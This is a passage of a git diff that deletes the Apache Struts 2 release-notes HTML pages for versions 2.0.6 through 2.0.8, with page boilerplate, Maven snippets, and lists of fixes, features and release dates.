-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Notes 2.0.6</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=44390">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=44390">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=44390">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=44390">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=44390">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=44390">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.0.6 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="release-notes-205.html">Release Notes 2.0.5</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-      &lt;version&gt;2.0.6&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/repo/m2-snapshot-repository&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="ReleaseNotes2.0.6-SignificantFixes">Significant Fixes </h2>
-
-<ul><li><a shape="rect" class="unresolved" href="#">WW-1711</a> The select tag works properly with non-string values.</li><li><a shape="rect" class="unresolved" href="#">WW-1731</a> The Code Behind and Spring plugins are included in the distribution.</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.6-Backwardcompatibilityissueswithpriordevelopmentrelease">Backward compatibility issues with prior development release</h2>
-
-<ul><li>The experimental "new API" has been removed, in favor of continued research in the 2.1.x series.</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.6-DocumentationChanges">Documentation Changes </h2>
-
-<ul><li>The home page for the Core Guide was been reorganized.
-	<ul><li>Several "missing" pages on extending the framework have been identified, and are listed on the Contributors Guide page, awaiting volunteers.</li></ul>
-	</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.6-InternalChanges">Internal Changes</h2>
-
-<ul><li>The OGNL dependency is advanced to version 2.6.11.</li><li>The XWork dependency is advanced to version 2.0.1.</li><li>The Codebehind and Spring plugin JARs are now bundled with the distribution, as originally intended.</li><li>In the documentation, several references to code "snippets" in the Interceptor area have been fixed.</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.6-ExperimentalFeaturesandPlugins">Experimental Features and Plugins </h2>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Please help us test these brave new features. Feedback appreciated!</p>
-
-<ul><li>Java 1.4 support: We are backporting the core Struts and XWork JARs, and, as a courtesy, bundling them with the distribution. However, Struts 2 is being coded for Java 5 and backward compatibility is not assured.</li><li><a shape="rect" href="portlet-tutorial-webwork-22.html">Portlets</a>: Automatic portlet support allows portal and servlet deployments with no code changes (<a shape="rect" class="unresolved" href="#">WW-1645@S2jira</a>).</li><li><a shape="rect" href="ajax-theme.h [...]
-	<ul><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/codebehind-plugin.html">Codebehind Plugin</a>: Reduce mundane configuration by using "page controller" conventions (<a shape="rect" class="unresolved" href="#">WW-1515</a>).</li><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/plexus-plugin.html">Plexus Plugin</a> - A new plugin that enables Struts Actions, Interceptors, and Results to be created and injected by Plexus. [...]
-	</li></ul>
-
-
-<h3 id="ReleaseNotes2.0.6-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21793">JIRA Release Notes 2.0.6 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21791">JIRA Release Notes 2.0.5 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.js [...]
-
-
-<h3 id="ReleaseNotes2.0.6-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10764">Struts 2.0.6 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10763">Struts 2.0.6 TODO </a></li></ul>
-
-
-<h3 id="ReleaseNotes2.0.6-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul>
-
-
-<h2 id="ReleaseNotes2.0.6-ReleasePlan">Release Plan </h2>
-
-<ul><li>Struts 2.0.6 is a milestone version in the 2.0.x series.
-	<ul><li>There is yet to be a GA release in this series.</li></ul>
-	</li><li>The Release Manager is Ted Husted.</li><li>The tag date for the release is Thursday, 16 Feb 2007, circa 2pm PST.</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-notes-207.html b/content/docs/release-notes-207.html
deleted file mode 100644
index d2c95af..0000000
--- a/content/docs/release-notes-207.html
+++ /dev/null
@@ -1,226 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Notes 2.0.7</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-notes-207.html">Release Notes 2.0.7</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Notes 2.0.7</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=46287">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=46287">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=46287">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=46287">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=46287">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=46287">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.0.7 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="release-notes-206.html">Release Notes 2.0.6</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-      &lt;version&gt;2.0.6&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/repo/m2-snapshot-repository&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="ReleaseNotes2.0.7-NewFeatures">New Features </h2>
-
-<ul><li><a shape="rect" href="cookie-interceptor.html">Cookie Interceptor</a>: Inject cookie with a certain configurable name / value into action. (Since 2.0.7.) (<a shape="rect" class="unresolved" href="#">WW-1678</a>). Being new, the Cookie Interceptor is also labeled "experimental" in this release.</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.7-SignificantFixes">Significant Fixes </h2>
-
-<ul><li>DevMode has been set to the default "false" setting on all example applications. DevMode impacts <a shape="rect" href="performance-tuning.html">performance</a> and should only be set to true during development or debugging (<a shape="rect" class="unresolved" href="#">WW-1781</a>).</li><li>The Select tag is enhanced to work with non-string list keys when "multiple" is set to true (<a shape="rect" class="unresolved" href="#">WW-1747</a>).</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.7-DocumentationChanges">Documentation Changes </h2>
-
-<ul><li>A <a shape="rect" href="performance-tuning.html">Performance Tuning</a> page is added.</li><li>Thanks to Musachy Barroso, we have spiffy new buttons for the Struts 2 home page.</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.7-InternalChanges">Internal Changes</h2>
-
-<ul><li>A consistent set of "camelCase" names for interceptors and results are available. Instead of "model-driven", you can now use "modelDriven". The hyphenated names will rename available until at least Struts 2.1.0 (<a shape="rect" class="unresolved" href="#">WW-1707</a>).</li></ul>
-
-
-<ul><li>Several minor patches have been applied. See the Issue Detail log for specifics.</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.7-ExperimentalFeaturesandPlugins">Experimental Features and Plugins </h2>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Please help us test these brave new features. Feedback appreciated!</p>
-
-<ul><li>Java 1.4 support: We are backporting the core Struts and XWork JARs, and, as a courtesy, bundling them with the distribution. However, Struts 2 is being coded for Java 5 and backward compatibility is not assured.</li><li><a shape="rect" href="cookie-interceptor.html">Cookie Interceptor</a>: Inject cookie with a certain configurable name / value into action (since 2.0.7) (<a shape="rect" class="unresolved" href="#">WW-1678</a>).</li><li><a shape="rect" href="portlet-tutorial-webwo [...]
-	<ul><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/codebehind-plugin.html">Codebehind Plugin</a>: Reduce mundane configuration by using "page controller" conventions (<a shape="rect" class="unresolved" href="#">WW-1515</a>).</li><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/plexus-plugin.html">Plexus Plugin</a> - A new plugin that enables Struts Actions, Interceptors, and Results to be created and injected by Plexus. [...]
-	</li></ul>
-
-
-<h3 id="ReleaseNotes2.0.7-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21796">JIRA Release Notes 2.0.7 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21793">JIRA Release Notes 2.0.6 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.js [...]
-
-
-<h3 id="ReleaseNotes2.0.7-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10770">Struts 2.0.7 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10769">Struts 2.0.7 TODO </a></li></ul>
-
-
-<h3 id="ReleaseNotes2.0.7-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul>
-
-
-<h2 id="ReleaseNotes2.0.7-ReleasePlan">Release Plan </h2>
-
-<ul><li>Struts 2.0.7 is a milestone version in the 2.0.x series. Struts 2.0.6 is the prior GA release.</li><li>The Release Manager is Ted Husted.</li><li>The tag date for the release is 19 March 2007, circa 1pm PST.</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-notes-208.html b/content/docs/release-notes-208.html
deleted file mode 100644
index 9f1b5ec..0000000
--- a/content/docs/release-notes-208.html
+++ /dev/null
@@ -1,248 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Notes 2.0.8</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-notes-208.html">Release Notes 2.0.8</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Notes 2.0.8</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=50914">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=50914">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=50914">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=50914">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=50914">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=50914">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.0.8 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="release-notes-207.html">Release Notes 2.0.7</a></p>
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-      &lt;version&gt;2.0.8&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/repo/m2-snapshot-repository&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;
-</pre>
-</div></div>
-
-<h2 id="ReleaseNotes2.0.8-NewFeatures">New Features</h2>
-
-<ul><li>Allow automcatic id setting from Restful2ActionMapper</li><li>Update Tiles2 plugin to work with latest Tiles2 release</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.8-SignificantFixes">Significant Fixes</h2>
-
-<ul><li>struts.xml include dependant packages not loading properly</li><li>Several problems with internationalization fixed, e.g. s:i18n tag, optgroup tag</li><li>FilterDispatcher not cleaning up correctly</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.8-KnownBugsandProblems">Known Bugs and Problems</h2>
-
-
-<ul><li>&#160;The Tiles JSP support package, <strong>tiles-jsp-2.0.3.jar</strong>, is not included in the Struts 2.0.8 distributions.<br clear="none">
-For this reason, it must be extracted from the official Tiles 2.0.3 release, that you can download in the <a shape="rect" class="external-link" href="http://archive.apache.org/dist/tiles/v2.0.3/">Apache Archive site</a>.<br clear="none">
-For details see <a shape="rect" class="external-link" href="https://issues.apache.org/struts/browse/WW-1992">WW-1992</a>.</li></ul>
-
-
